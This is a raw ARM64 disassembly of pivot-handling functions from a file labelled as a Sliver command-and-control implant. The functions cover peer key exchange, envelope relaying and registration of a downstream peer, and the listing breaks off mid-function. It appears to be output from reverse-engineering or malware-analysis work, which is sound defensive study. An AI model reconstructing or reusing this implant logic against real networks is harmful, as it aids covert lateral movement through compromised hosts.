File sliver_83cb34f62800fed14e14547c39337aab8e0427fe2c6310a3fb40ce0ac36168c9.elf
Function:
    0042cdd0
    0042cdd0github.com/bishopfox/sliver/implant/sliver/pivots.(*NetConnPivot).Start: ; void github.com/bishopfox/sliver/implant/sliver/pivots.(*NetConnPivot).Start(github.com/bishopfox/sliver/implant/sliver/pivots.NetConnPivot * p, sync.Map * pivots)
    0042cdd0ldr x16, [x28+16]
    0042cdd4sub x17, sp, 352
    0042cdd8subs xzr, x17, x16
    0042cddcb.ls 0x42d2bc
    0042cde0sub x20, sp, 480
    0042cde4stp x29, x30, [x20-8]
    0042cde8add sp, x20, 0
    0042cdecsub x29, sp, 8
    0042cdf0str x0, [sp+488]
    0042cdf4str x1, [sp+496]
    0042cdf8stp xzr, xzr, [sp+408]
    0042cdfcadd x1, sp, 408
    0042ce00str x1, [sp+424]
    0042ce04ldrsb x27, [x1]
    0042ce08adrp x2, 4096
    0042ce0cadd x2, x2, 2784
    0042ce10str x2, [x1]
    0042ce14ldrsb x27, [x1]
    0042ce18ldr x2, [sp+488]
    0042ce1cadrp x27, 0x61f000
    0042ce20ldr w3, [x27+3056]
    0042ce24cbz w3, 0x42ce2c
    0042ce28b 0x42ce30
    0042ce2c
    0042ce2cloc_42ce2c:
    0042ce2cb 0x42ce44
    0042ce30
    0042ce30loc_42ce30:
    0042ce30bl runtime.gcWriteBarrier2
    0042ce34str x2, [x25]
    0042ce38ldr x3, [x1+8]
    0042ce3cstr x3, [x25+8]
    0042ce40b 0x42ce44
    0042ce44
    0042ce44loc_42ce44:
    0042ce44str x2, [x1+8]
    0042ce48str x1, [sp+136]
    0042ce4cadd x0, sp, 112
    0042ce50bl runtime.deferprocStack
    0042ce54subs xzr, x0, 0
    0042ce58b.ne 0x42d0b8
    0042ce5cb 0x42ce60
    0042ce60
    0042ce60loc_42ce60:
    0042ce60ldr x0, [sp+488]
    0042ce64bl github.com/bishopfox/sliver/implant/sliver/pivots.(*NetConnPivot).peerKeyExchange
    0042ce68str x0, [sp+192]
    0042ce6cstr x1, [sp+200]
    0042ce70cbnz x0, 0x42ce78
    0042ce74b 0x42ce88
    0042ce78
    0042ce78loc_42ce78:
    0042ce78bl runtime.deferreturn
    0042ce7cldp x29, x30, [sp-8]
    0042ce80add sp, sp, 480
    0042ce84ret x30
    0042ce88
    0042ce88loc_42ce88:
    0042ce88stp xzr, xzr, [sp+224]
    0042ce8cadd x1, sp, 224
    0042ce90str x1, [sp+376]
    0042ce94ldr x1, [sp+488]
    0042ce98ldrsb x27, [x1]
    0042ce9cldr x1, [x1]
    0042cea0str x1, [sp+168]
    0042cea4ldr x0, [sp+168]
    0042cea8bl runtime.convT64
    0042ceacstr x0, [sp+368]
    0042ceb0ldr x1, [sp+376]
    0042ceb4ldrsb x27, [x1]
    0042ceb8adrp x2, 0x1c9000
    0042cebcadd x2, x2, 3392
    0042cec0str x2, [x1]
    0042cec4adrp x27, 0x61f000
    0042cec8ldr w2, [x27+3056]
    0042cecccbz w2, 0x42ced4
    0042ced0b 0x42ced8
    0042ced4
    0042ced4loc_42ced4:
    0042ced4b 0x42ceec
    0042ced8
    0042ced8loc_42ced8:
    0042ced8bl runtime.gcWriteBarrier2
    0042cedcstr x0, [x25]
    0042cee0ldr x5, [x1+8]
    0042cee4str x5, [x25+8]
    0042cee8b 0x42ceec
    0042ceec
    0042ceecloc_42ceec:
    0042ceecstr x0, [x1+8]
    0042cef0ldr x2, [sp+376]
    0042cef4ldrsb x27, [x2]
    0042cef8b 0x42cefc
    0042cefc
    0042cefcloc_42cefc:
    0042cefcstr x2, [sp+384]
    0042cf00orr x4, xzr, 1
    0042cf04str x4, [sp+392]
    0042cf08str x4, [sp+400]
    0042cf0cadrp x0, 0x2a0000
    0042cf10add x0, x0, 2645
    0042cf14movz x1, 61
    0042cf18mov x3, x4
    0042cf1cbl log.Printf
    0042cf20ldr x0, [sp+488]
    0042cf24bl github.com/bishopfox/sliver/implant/sliver/pivots.(*NetConnPivot).DownstreamPeerID
    0042cf28str x0, [sp+56]
    0042cf2cbl runtime.convT64
    0042cf30str x0, [sp+360]
    0042cf34ldr x5, [sp+496]
    0042cf38ldr x4, [sp+488]
    0042cf3cadrp x1, 0x1c9000
    0042cf40add x1, x1, 3392
    0042cf44mov x2, x0
    0042cf48adrp x3, 0x254000
    0042cf4cadd x3, x3, 2080
    0042cf50mov x0, x5
    0042cf54bl sync.(*Map).Store
    0042cf58ldr x0, [sp+488]
    0042cf5cbl github.com/bishopfox/sliver/implant/sliver/pivots.(*NetConnPivot).DownstreamPeerID
    0042cf60str x0, [sp+56]
    0042cf64ldr x5, [sp+496]
    0042cf68str x5, [sp+272]
    0042cf6cldr x5, [sp+56]
    0042cf70str x5, [sp+160]
    0042cf74adrp x5, 0x1c9000
    0042cf78add x5, x5, 3392
    0042cf7cstr x5, [sp+240]
    0042cf80add x5, sp, 160
    0042cf84str x5, [sp+248]
    0042cf88stp xzr, xzr, [sp+320]
    0042cf8cstp xzr, xzr, [sp+336]
    0042cf90add x5, sp, 320
    0042cf94str x5, [sp+352]
    0042cf98ldrsb x27, [x5]
    0042cf9cadrp x6, 4096
    0042cfa0add x6, x6, 2656
    0042cfa4str x6, [x5]
    0042cfa8ldrsb x27, [x5]
    0042cfacldr x6, [sp+272]
    0042cfb0adrp x27, 0x61f000
    0042cfb4ldr w7, [x27+3056]
    0042cfb8cbz w7, 0x42cfc0
    0042cfbcb 0x42cfc4
    0042cfc0
    0042cfc0loc_42cfc0:
    0042cfc0b 0x42cfd8
    0042cfc4
    0042cfc4loc_42cfc4:
    0042cfc4bl runtime.gcWriteBarrier2
    0042cfc8str x6, [x25]
    0042cfccldr x1, [x5+8]
    0042cfd0str x1, [x25+8]
    0042cfd4b 0x42cfd8
    0042cfd8
    0042cfd8loc_42cfd8:
    0042cfd8str x6, [x5+8]
    0042cfdcldrsb x27, [x5]
    0042cfe0ldr x1, [sp+248]
    0042cfe4ldr x2, [sp+240]
    0042cfe8str x2, [x5+16]
    0042cfecadrp x27, 0x61f000
    0042cff0ldr w2, [x27+3056]
    0042cff4cbz w2, 0x42cffc
    0042cff8b 0x42d000
    0042cffc
    0042cffcloc_42cffc:
    0042cffcb 0x42d014
    0042d000
    0042d000loc_42d000:
    0042d000bl runtime.gcWriteBarrier2
    0042d004str x1, [x25]
    0042d008ldr x2, [x5+24]
    0042d00cstr x2, [x25+8]
    0042d010b 0x42d014
    0042d014
    0042d014loc_42d014:
    0042d014str x1, [x5+24]
    0042d018ldr x1, [sp+352]
    0042d01cstr x1, [sp+88]
    0042d020add x0, sp, 64
    0042d024bl runtime.deferprocStack
    0042d028subs xzr, x0, 0
    0042d02cb.ne 0x42d0a8
    0042d030b 0x42d034
    0042d034
    0042d034loc_42d034:
    0042d034adrp x0, 0x204000
    0042d038add x0, x0, 4032
    0042d03cbl runtime.newobject
    0042d040str x0, [sp+312]
    0042d044adrp x1, 0
    0042d048add x1, x1, 720
    0042d04cstr x1, [x0]
    0042d050ldr x1, [sp+488]
    0042d054ldr x2, [sp+312]
    0042d058ldrsb x27, [x2]
    0042d05cadrp x27, 0x61e000
    0042d060ldr w3, [x27+3056]
    0042d064cbz w3, 0x42d06c
    0042d068b 0x42d070
    0042d06c
    0042d06cloc_42d06c:
    0042d06cb 0x42d084
    0042d070
    0042d070loc_42d070:
    0042d070bl runtime.gcWriteBarrier2
    0042d074str x1, [x25]
    0042d078ldr x3, [x2+8]
    0042d07cstr x3, [x25+8]
    0042d080b 0x42d084
    0042d084
    0042d084loc_42d084:
    0042d084str x1, [x2+8]
    0042d088ldr x0, [sp+312]
    0042d08cbl runtime.newproc
    0042d090ldr x1, [sp+488]
    0042d094ldrsb x27, [x1]
    0042d098ldr x1, [x1+72]
    0042d09cstr x1, [sp+216]
    0042d0a0str xzr, [sp+304]
    0042d0a4b 0x42d0c8
    0042d0a8
    0042d0a8loc_42d0a8:
    0042d0a8bl runtime.deferreturn
    0042d0acldp x29, x30, [sp-8]
    0042d0b0add sp, sp, 480
    0042d0b4ret x30
    0042d0b8
    0042d0b8loc_42d0b8:
    0042d0b8bl runtime.deferreturn
    0042d0bcldp x29, x30, [sp-8]
    0042d0c0add sp, sp, 480
    0042d0c4ret x30
    0042d0c8
    0042d0c8loc_42d0c8:
    0042d0c8ldr x0, [sp+216]
    0042d0ccadd x1, sp, 304
    0042d0d0bl runtime.chanrecv2
    0042d0d4strb w0, [sp+55]
    0042d0d8tbnz w0, 0, 0x42d0e0
    0042d0dcb 0x42d2ac
    0042d0e0
    0042d0e0loc_42d0e0:
    0042d0e0ldr x2, [sp+304]
    0042d0e4str x2, [sp+208]
    0042d0e8str xzr, [sp+304]
    0042d0ecldr x1, [sp+208]
    0042d0f0ldr x0, [sp+488]
    0042d0f4bl github.com/bishopfox/sliver/implant/sliver/pivots.(*NetConnPivot).writeEnvelope
    0042d0f8str x0, [sp+176]
    0042d0fcstr x1, [sp+184]
    0042d100cbnz x0, 0x42d108
    0042d104b 0x42d2a4
    0042d108
    0042d108loc_42d108:
    0042d108ldr x1, [sp+488]
    0042d10cldrsb x27, [x1]
    0042d110ldr x1, [x1]
    0042d114cbnz x1, 0x42d11c
    0042d118b 0x42d290
    0042d11c
    0042d11cloc_42d11c:
    0042d11cadrp x0, 0x250000
    0042d120add x0, x0, 3616
    0042d124bl runtime.newobject
    0042d128str x0, [sp+296]
    0042d12cadrp x27, 0x61e000
    0042d130ldr w1, [x27+3056]
    0042d134cbz w1, 0x42d13c
    0042d138b 0x42d140
    0042d13c
    0042d13cloc_42d13c:
    0042d13cb 0x42d15c
    0042d140
    0042d140loc_42d140:
    0042d140str x0, [sp+264]
    0042d144mov x1, x0
    0042d148adrp x0, 0x250000
    0042d14cadd x0, x0, 3616
    0042d150bl runtime.wbZero
    0042d154ldr x0, [sp+264]
    0042d158b 0x42d15c
    0042d15c
    0042d15cloc_42d15c:
    0042d15cstp xzr, xzr, [x0]
    0042d160stp xzr, xzr, [x0+16]
    0042d164stp xzr, xzr, [x0+32]
    0042d168stp xzr, xzr, [x0+48]
    0042d16cstr xzr, [x0+64]
    0042d170ldr x2, [sp+296]
    0042d174ldrsb x27, [x2]
    0042d178orr x3, xzr, 1
    0042d17cstr w3, [x2+16]
    0042d180ldr x2, [sp+296]
    0042d184ldrsb x27, [x2]
    0042d188ldr x3, [sp+488]
    0042d18cldrsb x27, [x3]
    0042d190ldr x3, [x3]
    0042d194str x3, [x2+8]
    0042d198ldr x1, [sp+296]
    0042d19cstr x1, [sp+464]
    0042d1a0adrp x0, 0x2e6000
    0042d1a4add x0, x0, 3168
    0042d1a8bl github.com/bishopfox/sliver/implant/sliver/pivots.mustMarshal
    0042d1acstr x0, [sp+440]
    0042d1b0str x1, [sp+448]
    0042d1b4str x2, [sp+456]
    0042d1b8adrp x0, 0x257000
    0042d1bcadd x0, x0, 2848
    0042d1c0bl runtime.newobject
    0042d1c4str x0, [sp+288]
    0042d1c8adrp x27, 0x61e000
    0042d1ccldr w2, [x27+3056]
    0042d1d0cbz w2, 0x42d1d8
    0042d1d4b 0x42d1dc
    0042d1d8
    0042d1d8loc_42d1d8:
    0042d1d8b 0x42d1f8
    0042d1dc
    0042d1dcloc_42d1dc:
    0042d1dcstr x0, [sp+256]
    0042d1e0mov x1, x0
    0042d1e4adrp x0, 0x257000
    0042d1e8add x0, x0, 2848
    0042d1ecbl runtime.wbZero
    0042d1f0ldr x0, [sp+256]
    0042d1f4b 0x42d1f8
    0042d1f8
    0042d1f8loc_42d1f8:
    0042d1f8mov x20, x0
    0042d1fcadr x27, 16
    0042d200stp x29, x27, [sp-24]
    0042d204sub x29, sp, 24
    0042d208bl fn_87cfc
    0042d20csub x29, sp, 8
    0042d210str xzr, [x0+80]
    0042d214ldr x2, [sp+288]
    0042d218ldrsb x27, [x2]
    0042d21cmovz x3, 58
    0042d220str w3, [x2+16]
    0042d224ldr x2, [sp+288]
    0042d228ldrsb x27, [x2]
    0042d22cldr x3, [sp+440]
    0042d230ldr x4, [sp+448]
    0042d234ldr x5, [sp+456]
    0042d238str x4, [x2+32]
    0042d23cstr x5, [x2+40]
    0042d240adrp x27, 0x61e000
    0042d244ldr w4, [x27+3056]
    0042d248cbz w4, 0x42d250
    0042d24cb 0x42d254
    0042d250
    0042d250loc_42d250:
    0042d250b 0x42d268
    0042d254
    0042d254loc_42d254:
    0042d254bl runtime.gcWriteBarrier2
    0042d258str x3, [x25]
    0042d25cldr x4, [x2+24]
    0042d260str x4, [x25+8]
    0042d264b 0x42d268
    0042d268
    0042d268loc_42d268:
    0042d268str x3, [x2+24]
    0042d26cldr x2, [sp+288]
    0042d270str x2, [sp+432]
    0042d274ldr x2, [sp+488]
    0042d278ldrsb x27, [x2]
    0042d27cldr x0, [x2+64]
    0042d280str x0, [sp+280]
    0042d284add x1, sp, 432
    0042d288bl runtime.chansend1
    0042d28cb 0x42d294
    0042d290
    0042d290loc_42d290:
    0042d290b 0x42d294
    0042d294
    0042d294loc_42d294:
    0042d294bl runtime.deferreturn
    0042d298ldp x29, x30, [sp-8]
    0042d29cadd sp, sp, 480
    0042d2a0ret x30
    0042d2a4
    0042d2a4loc_42d2a4:
    0042d2a4b 0x42d2a8
    0042d2a8
    0042d2a8loc_42d2a8:
    0042d2a8b 0x42d0c8
    0042d2ac
    0042d2acloc_42d2ac:
    0042d2acbl runtime.deferreturn
    0042d2b0ldp x29, x30, [sp-8]
    0042d2b4add sp, sp, 480
    0042d2b8ret x30
    0042d2bc
    0042d2bcloc_42d2bc:
    0042d2bcstp x0, x1, [sp+8]
    0042d2c0mov x3, x30
    0042d2c4bl runtime.morestack_noctxt.abi0
    0042d2c8ldp x0, x1, [sp+8]
    0042d2ccb 0x42cdd0
    0042cdd0
    0042d2d0
    0042d2d0github.com/bishopfox/sliver/implant/sliver/pivots.(*NetConnPivot).Start.func2: ; void github.com/bishopfox/sliver/implant/sliver/pivots.(*NetConnPivot).Start.func2(void)
    0042d2d0ldr x16, [x28+16]
    0042d2d4sub x17, sp, 480
    0042d2d8subs xzr, x17, x16
    0042d2dcb.ls 0x42d9ec
    0042d2e0sub x20, sp, 608
    0042d2e4stp x29, x30, [x20-8]
    0042d2e8add sp, x20, 0
    0042d2ecsub x29, sp, 8
    0042d2f0ldr x1, [x26+8]
    0042d2f4str x1, [sp+152]
    0042d2f8ldrsb x27, [x1]
    0042d2fcldr x1, [x1+72]
    0042d300str x1, [sp+592]
    0042d304stp xzr, xzr, [sp+504]
    0042d308add x1, sp, 504
    0042d30cstr x1, [sp+520]
    0042d310ldrsb x27, [x1]
    0042d314adrp x2, 0
    0042d318add x2, x2, 2560
    0042d31cstr x2, [x1]
    0042d320ldrsb x27, [x1]
    0042d324ldr x2, [sp+592]
    0042d328adrp x27, 0x61e000
    0042d32cldr w3, [x27+3056]
    0042d330cbz w3, 0x42d338
    0042d334b 0x42d33c
    0042d338
    0042d338loc_42d338:
    0042d338b 0x42d350
    0042d33c
    0042d33cloc_42d33c:
    0042d33cbl runtime.gcWriteBarrier2
    0042d340str x2, [x25]
    0042d344ldr x3, [x1+8]
    0042d348str x3, [x25+8]
    0042d34cb 0x42d350
    0042d350
    0042d350loc_42d350:
    0042d350str x2, [x1+8]
    0042d354str x1, [sp+120]
    0042d358add x0, sp, 96
    0042d35cbl runtime.deferprocStack
    0042d360subs xzr, x0, 0
    0042d364b.ne 0x42d370
    0042d368b 0x42d36c
    0042d36c
    0042d36cloc_42d36c:
    0042d36cb 0x42d380
    0042d370
    0042d370loc_42d370:
    0042d370bl runtime.deferreturn
    0042d374ldp x29, x30, [sp-8]
    0042d378add sp, sp, 608
    0042d37cret x30
    0042d380
    0042d380loc_42d380:
    0042d380b 0x42d384
    0042d384
    0042d384loc_42d384:
    0042d384str xzr, [sp+200]
    0042d388add x27, sp, 576
    0042d38cstp xzr, xzr, [x27]
    0042d390ldr x0, [sp+152]
    0042d394bl github.com/bishopfox/sliver/implant/sliver/pivots.(*NetConnPivot).readEnvelope
    0042d398str x0, [sp+200]
    0042d39cstr x1, [sp+576]
    0042d3a0str x2, [sp+584]
    0042d3a4ldr x1, [sp+200]
    0042d3a8str x1, [sp+336]
    0042d3acldr x1, [sp+576]
    0042d3b0ldr x2, [sp+584]
    0042d3b4str x1, [sp+248]
    0042d3b8str x2, [sp+256]
    0042d3bcldr x1, [sp+336]
    0042d3c0str x1, [sp+192]
    0042d3c4ldr x1, [sp+256]
    0042d3c8ldr x2, [sp+248]
    0042d3ccstr x2, [sp+176]
    0042d3d0str x1, [sp+184]
    0042d3d4cbnz x2, 0x42d3dc
    0042d3d8b 0x42d3ec
    0042d3dc
    0042d3dcloc_42d3dc:
    0042d3dcbl runtime.deferreturn
    0042d3e0ldp x29, x30, [sp-8]
    0042d3e4add sp, sp, 608
    0042d3e8ret x30
    0042d3ec
    0042d3ecloc_42d3ec:
    0042d3ecldr x5, [sp+192]
    0042d3f0ldrsb x27, [x5]
    0042d3f4ldr w5, [x5+16]
    0042d3f8subs wzr, w5, 54
    0042d3fcb.eq 0x42d404
    0042d400b 0x42d504
    0042d404
    0042d404loc_42d404:
    0042d404adrp x0, 0x29b000
    0042d408add x0, x0, 3533
    0042d40cmovz x1, 49
    0042d410mov x2, xzr
    0042d414mov x3, xzr
    0042d418mov x4, x3
    0042d41cbl log.Printf
    0042d420adrp x0, 0x257000
    0042d424add x0, x0, 2848
    0042d428bl runtime.newobject
    0042d42cstr x0, [sp+496]
    0042d430adrp x27, 0x61e000
    0042d434ldr w5, [x27+3056]
    0042d438cbz w5, 0x42d440
    0042d43cb 0x42d444
    0042d440
    0042d440loc_42d440:
    0042d440b 0x42d460
    0042d444
    0042d444loc_42d444:
    0042d444str x0, [sp+280]
    0042d448mov x1, x0
    0042d44cadrp x0, 0x257000
    0042d450add x0, x0, 2848
    0042d454bl runtime.wbZero
    0042d458ldr x0, [sp+280]
    0042d45cb 0x42d460
    0042d460
    0042d460loc_42d460:
    0042d460mov x20, x0
    0042d464adr x27, 16
    0042d468stp x29, x27, [sp-24]
    0042d46csub x29, sp, 24
    0042d470bl fn_87cfc
    0042d474sub x29, sp, 8
    0042d478str xzr, [x0+80]
    0042d47cldr x2, [sp+496]
    0042d480ldrsb x27, [x2]
    0042d484movz x3, 54
    0042d488str w3, [x2+16]
    0042d48cldr x2, [sp+496]
    0042d490ldrsb x27, [x2]
    0042d494ldr x4, [sp+192]
    0042d498ldrsb x27, [x4]
    0042d49cldr x5, [x4+24]
    0042d4a0ldr x6, [x4+40]
    0042d4a4ldr x4, [x4+32]
    0042d4a8str x4, [x2+32]
    0042d4acstr x6, [x2+40]
    0042d4b0adrp x27, 0x61e000
    0042d4b4ldr w4, [x27+3056]
    0042d4b8cbz w4, 0x42d4c0
    0042d4bcb 0x42d4c4
    0042d4c0
    0042d4c0loc_42d4c0:
    0042d4c0b 0x42d4d8
    0042d4c4
    0042d4c4loc_42d4c4:
    0042d4c4bl runtime.gcWriteBarrier2
    0042d4c8str x5, [x25]
    0042d4ccldr x4, [x2+24]
    0042d4d0str x4, [x25+8]
    0042d4d4b 0x42d4d8
    0042d4d8
    0042d4d8loc_42d4d8:
    0042d4d8str x5, [x2+24]
    0042d4dcldr x2, [sp+496]
    0042d4e0str x2, [sp+200]
    0042d4e4ldr x2, [sp+152]
    0042d4e8ldrsb x27, [x2]
    0042d4ecldr x2, [x2+72]
    0042d4f0str x2, [sp+488]
    0042d4f4ldr x0, [sp+488]
    0042d4f8add x1, sp, 200
    0042d4fcbl runtime.chansend1
    0042d500b 0x42d948
    0042d504
    0042d504loc_42d504:
    0042d504ldr x1, [sp+192]
    0042d508ldrsb x27, [x1]
    0042d50cldr w1, [x1+16]
    0042d510subs wzr, w1, 57
    0042d514b.eq 0x42d51c
    0042d518b 0x42d94c
    0042d51c
    0042d51cloc_42d51c:
    0042d51cadd x27, sp, 560
    0042d520stp xzr, xzr, [x27]
    0042d524add x1, sp, 560
    0042d528str x1, [sp+456]
    0042d52cldr x1, [sp+192]
    0042d530ldrsb x27, [x1]
    0042d534ldr w0, [x1+16]
    0042d538str w0, [sp+92]
    0042d53cbl runtime.convT32
    0042d540str x0, [sp+448]
    0042d544ldr x1, [sp+456]
    0042d548ldrsb x27, [x1]
    0042d54cadrp x2, 0x1c8000
    0042d550add x2, x2, 3328
    0042d554str x2, [x1]
    0042d558adrp x27, 0x61e000
    0042d55cldr w2, [x27+3056]
    0042d560cbz w2, 0x42d568
    0042d564b 0x42d56c
    0042d568
    0042d568loc_42d568:
    0042d568b 0x42d580
    0042d56c
    0042d56cloc_42d56c:
    0042d56cbl runtime.gcWriteBarrier2
    0042d570str x0, [x25]
    0042d574ldr x5, [x1+8]
    0042d578str x5, [x25+8]
    0042d57cb 0x42d580
    0042d580
    0042d580loc_42d580:
    0042d580str x0, [x1+8]
    0042d584ldr x2, [sp+456]
    0042d588ldrsb x27, [x2]
    0042d58cb 0x42d590
    0042d590
    0042d590loc_42d590:
    0042d590str x2, [sp+464]
    0042d594orr x4, xzr, 1
    0042d598str x4, [sp+472]
    0042d59cstr x4, [sp+480]
    0042d5a0adrp x0, 0x29c000
    0042d5a4add x0, x0, 3899
    0042d5a8movz x1, 52
    0042d5acmov x3, x4
    0042d5b0bl log.Printf
    0042d5b4adrp x0, 0x25e000
    0042d5b8add x0, x0, 96
    0042d5bcbl runtime.newobject
    0042d5c0str x0, [sp+440]
    0042d5c4adrp x27, 0x61e000
    0042d5c8ldr w5, [x27+3056]
    0042d5cccbz w5, 0x42d5d4
    0042d5d0b 0x42d5d8
    0042d5d4
    0042d5d4loc_42d5d4:
    0042d5d4b 0x42d5f4
    0042d5d8
    0042d5d8loc_42d5d8:
    0042d5d8str x0, [sp+272]
    0042d5dcmov x1, x0
    0042d5e0adrp x0, 0x25e000
    0042d5e4add x0, x0, 96
    0042d5e8bl runtime.wbZero
    0042d5ecldr x0, [sp+272]
    0042d5f0b 0x42d5f4
    0042d5f4
    0042d5f4loc_42d5f4:
    0042d5f4mov x20, x0
    0042d5f8adr x27, 16
    0042d5fcstp x29, x27, [sp-24]
    0042d600sub x29, sp, 24
    0042d604bl fn_87cf0
    0042d608sub x29, sp, 8
    0042d60cldr x5, [sp+440]
    0042d610str x5, [sp+144]
    0042d614str x5, [sp+552]
    0042d618ldr x5, [sp+192]
    0042d61cldrsb x27, [x5]
    0042d620ldr x0, [x5+24]
    0042d624ldr x1, [x5+32]
    0042d628ldr x2, [x5+40]
    0042d62cstr x0, [sp+416]
    0042d630str x1, [sp+424]
    0042d634str x2, [sp+432]
    0042d638ldr x4, [sp+552]
    0042d63cadrp x3, 0x2e7000
    0042d640add x3, x3, 1248
    0042d644bl google.golang.org/protobuf/proto.Unmarshal
    0042d648str x0, [sp+160]
    0042d64cstr x1, [sp+168]
    0042d650cbnz x0, 0x42d658
    0042d654b 0x42d710
    0042d658
    0042d658loc_42d658:
    0042d658add x27, sp, 560
    0042d65cstp xzr, xzr, [x27]
    0042d660add x5, sp, 560
    0042d664str x5, [sp+384]
    0042d668ldr x5, [sp+160]
    0042d66cldr x6, [sp+168]
    0042d670str x5, [sp+368]
    0042d674str x6, [sp+376]
    0042d678str x5, [sp+360]
    0042d67cldr x5, [sp+360]
    0042d680cbnz x5, 0x42d688
    0042d684b 0x42d698
    0042d688
    0042d688loc_42d688:
    0042d688ldr x5, [sp+360]
    0042d68cldr x5, [x5+8]
    0042d690str x5, [sp+360]
    0042d694b 0x42d69c
    0042d698
    0042d698loc_42d698:
    0042d698b 0x42d69c
    0042d69c
    0042d69cloc_42d69c:
    0042d69cldr x5, [sp+384]
    0042d6a0ldrsb x27, [x5]
    0042d6a4ldr x6, [sp+360]
    0042d6a8ldr x7, [sp+376]
    0042d6acstr x6, [x5]
    0042d6b0adrp x27, 0x61e000
    0042d6b4ldr w6, [x27+3056]
    0042d6b8cbz w6, 0x42d6c0
    0042d6bcb 0x42d6c4
    0042d6c0
    0042d6c0loc_42d6c0:
    0042d6c0b 0x42d6d8
    0042d6c4
    0042d6c4loc_42d6c4:
    0042d6c4bl runtime.gcWriteBarrier2
    0042d6c8str x7, [x25]
    0042d6ccldr x6, [x5+8]
    0042d6d0str x6, [x25+8]
    0042d6d4b 0x42d6d8
    0042d6d8
    0042d6d8loc_42d6d8:
    0042d6d8str x7, [x5+8]
    0042d6dcldr x2, [sp+384]
    0042d6e0ldrsb x27, [x2]
    0042d6e4b 0x42d6e8
    0042d6e8
    0042d6e8loc_42d6e8:
    0042d6e8str x2, [sp+392]
    0042d6ecorr x4, xzr, 1
    0042d6f0str x4, [sp+400]
    0042d6f4str x4, [sp+408]
    0042d6f8adrp x0, 0x29a000
    0042d6fcadd x0, x0, 1399
    0042d700movz x1, 46
    0042d704mov x3, x4
    0042d708bl log.Printf
    0042d70cb 0x42d9e8
    0042d710
    0042d710loc_42d710:
    0042d710adrp x0, 0x246000
    0042d714add x0, x0, 320
    0042d718bl runtime.newobject
    0042d71cstr x0, [sp+344]
    0042d720adrp x27, 0x61e000
    0042d724ldr w1, [x27+3056]
    0042d728cbz w1, 0x42d730
    0042d72cb 0x42d734
    0042d730
    0042d730loc_42d730:
    0042d730b 0x42d750
    0042d734
    0042d734loc_42d734:
    0042d734str x0, [sp+264]
    0042d738mov x1, x0
    0042d73cadrp x0, 0x246000
    0042d740add x0, x0, 320
    0042d744bl runtime.wbZero
    0042d748ldr x0, [sp+264]
    0042d74cb 0x42d750
    0042d750
    0042d750loc_42d750:
    0042d750stp xzr, xzr, [x0]
    0042d754stp xzr, xzr, [x0+16]
    0042d758stp xzr, xzr, [x0+32]
    0042d75cstp xzr, xzr, [x0+48]
    0042d760ldr x5, [sp+344]
    0042d764ldrsb x27, [x5]
    0042d768adrp x27, 0x61e000
    0042d76cldr x6, [x27+2144]
    0042d770str x6, [x5+8]
    0042d774ldr x5, [sp+344]
    0042d778ldrsb x27, [x5]
    0042d77cadrp x27, 0x5e0000
    0042d780ldr x6, [x27+2528]
    0042d784adrp x27, 0x5e0000
    0042d788ldr x7, [x27+2536]
    0042d78cstr x7, [x5+24]
    0042d790adrp x27, 0x61e000
    0042d794ldr w7, [x27+3056]
    0042d798cbz w7, 0x42d7a0
    0042d79cb 0x42d7a4
    0042d7a0
    0042d7a0loc_42d7a0:
    0042d7a0b 0x42d7b8
    0042d7a4
    0042d7a4loc_42d7a4:
    0042d7a4bl runtime.gcWriteBarrier2
    0042d7a8str x6, [x25]
    0042d7acldr x7, [x5+16]
    0042d7b0str x7, [x25+8]
    0042d7b4b 0x42d7b8
    0042d7b8
    0042d7b8loc_42d7b8:
    0042d7b8str x6, [x5+16]
    0042d7bcldr x5, [sp+344]
    0042d7c0str x5, [sp+352]
    0042d7c4ldr x5, [sp+144]
    0042d7c8ldrsb x27, [x5]
    0042d7ccldr x2, [x5+24]
    0042d7d0ldr x0, [x5+8]
    0042d7d4ldr x5, [x5+16]
    0042d7d8add x1, x5, 1
    0042d7dcsubs xzr, x2, x1
    0042d7e0b.hs 0x42d7e8
    0042d7e4b 0x42d7ec
    0042d7e8
    0042d7e8loc_42d7e8:
    0042d7e8b 0x42d800
    0042d7ec
    0042d7ecloc_42d7ec:
    0042d7ecorr x3, xzr, 1
    0042d7f0adrp x4, 0x233000
    0042d7f4add x4, x4, 544
    0042d7f8bl runtime.growslice
    0042d7fcb 0x42d800
    0042d800
    0042d800loc_42d800:
    0042d800sub x3, x1, 1
    0042d804ldr x4, [sp+352]
    0042d808adrp x27, 0x61e000
    0042d80cldr w5, [x27+3056]
    0042d810cbz w5, 0x42d818
    0042d814b 0x42d81c
    0042d818
    0042d818loc_42d818:
    0042d818b 0x42d830
    0042d81c
    0042d81cloc_42d81c:
    0042d81cbl runtime.gcWriteBarrier2
    0042d820str x4, [x25]
    0042d824ldr x5, [x0+3*x3]
    0042d828str x5, [x25+8]
    0042d82cb 0x42d830
    0042d830
    0042d830loc_42d830:
    0042d830str x4, [x0+3*x3]
    0042d834ldr x3, [sp+144]
    0042d838ldrsb x27, [x3]
    0042d83cstr x1, [x3+16]
    0042d840str x2, [x3+24]
    0042d844adrp x27, 0x61e000
    0042d848ldr w2, [x27+3056]
    0042d84ccbz w2, 0x42d854
    0042d850b 0x42d858
    0042d854
    0042d854loc_42d854:
    0042d854b 0x42d86c
    0042d858
    0042d858loc_42d858:
    0042d858bl runtime.gcWriteBarrier2
    0042d85cstr x0, [x25]
    0042d860ldr x2, [x3+8]
    0042d864str x2, [x25+8]
    0042d868b 0x42d86c
    0042d86c
    0042d86cloc_42d86c:
    0042d86cstr x0, [x3+8]
    0042d870ldr x2, [sp+144]
    0042d874str x2, [sp+552]
    0042d878add x27, sp, 528
    0042d87cstp xzr, xzr, [x27]
    0042d880str xzr, [sp+544]
    0042d884add x27, sp, 576
    0042d888stp xzr, xzr, [x27]
    0042d88cldr x1, [sp+552]
    0042d890adrp x0, 0x2e7000
    0042d894add x0, x0, 1248
    0042d898bl google.golang.org/protobuf/proto.Marshal
    0042d89cstr x0, [sp+528]
    0042d8a0str x1, [sp+536]
    0042d8a4str x2, [sp+544]
    0042d8a8str x3, [sp+576]
    0042d8acstr x4, [sp+584]
    0042d8b0ldr x2, [sp+528]
    0042d8b4ldr x3, [sp+536]
    0042d8b8ldr x4, [sp+544]
    0042d8bcstr x2, [sp+224]
    0042d8c0str x3, [sp+232]
    0042d8c4str x4, [sp+240]
    0042d8c8ldr x2, [sp+576]
    0042d8ccldr x3, [sp+584]
    0042d8d0str x2, [sp+208]
    0042d8d4str x3, [sp+216]
    0042d8d8ldr x2, [sp+192]
    0042d8dcldrsb x27, [x2]
    0042d8e0ldr x3, [sp+224]
    0042d8e4ldr x4, [sp+232]
